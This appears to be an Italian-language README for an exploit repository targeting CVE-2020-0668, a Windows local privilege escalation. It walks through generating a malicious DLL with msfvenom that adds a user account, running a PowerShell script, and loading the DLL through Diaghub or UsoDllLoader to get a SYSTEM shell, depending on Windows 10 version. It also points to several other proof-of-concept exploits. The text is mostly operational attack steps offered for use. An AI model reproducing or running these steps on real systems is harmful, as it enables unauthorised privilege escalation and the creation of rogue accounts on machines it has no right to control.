CVE-2020-0668

Fai funzionare l'exploit CVE-2020-0668 per versioni < win10 v1903 e versioni >= win10 v1903

Exploit Diaghub (< v1903)

l'exploit powershell funziona su versioni < win10 v1903 con Diaghub.

Utilizzo

• PASSO 1：genera evil.dll con msfvenom
  • esempio aggiungi un utente：msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll
• PASSO 2：esegui exp.ps1 con powershell
• PASSO 3：esegui Diaghub.exe C:\ProgramData evil.dll per caricare la dll e aggiungere l'utente.

• Diaghub

Exploit UsoDllLoader (>= v1903)

l'exploit powershell funziona su versioni >= win10 v1903 con UsoDllLoader.

Utilizzo

• PASSO 1：esegui exp.ps1 con powershell
• PASSO 2：esegui UsoDllLoader.exe per ottenere una shell di sistema

• UsoDllLoader

Altri Exploit o PoC

Exploit SysTracingPoc

Una versione x86 release di SysTracingPoc per issue，l'exploit funziona su versioni >= win10 v1903 grazie a UsoLoadDll.

• SysTracingPoc

PoC RedCursorSecurityConsulting

Un PoC .net. Se guardi C:\Windows\System32\evil.dll e la rinomini come evil.txt.

Scoprirai che non è un file dll. Contiene solo un log di tracing.

• CVE-2020-0668

PoC Nan3r

Un PoC powershell. Anche questo contiene solo un log di tracing in evil.dll.

• CVE-2020-0668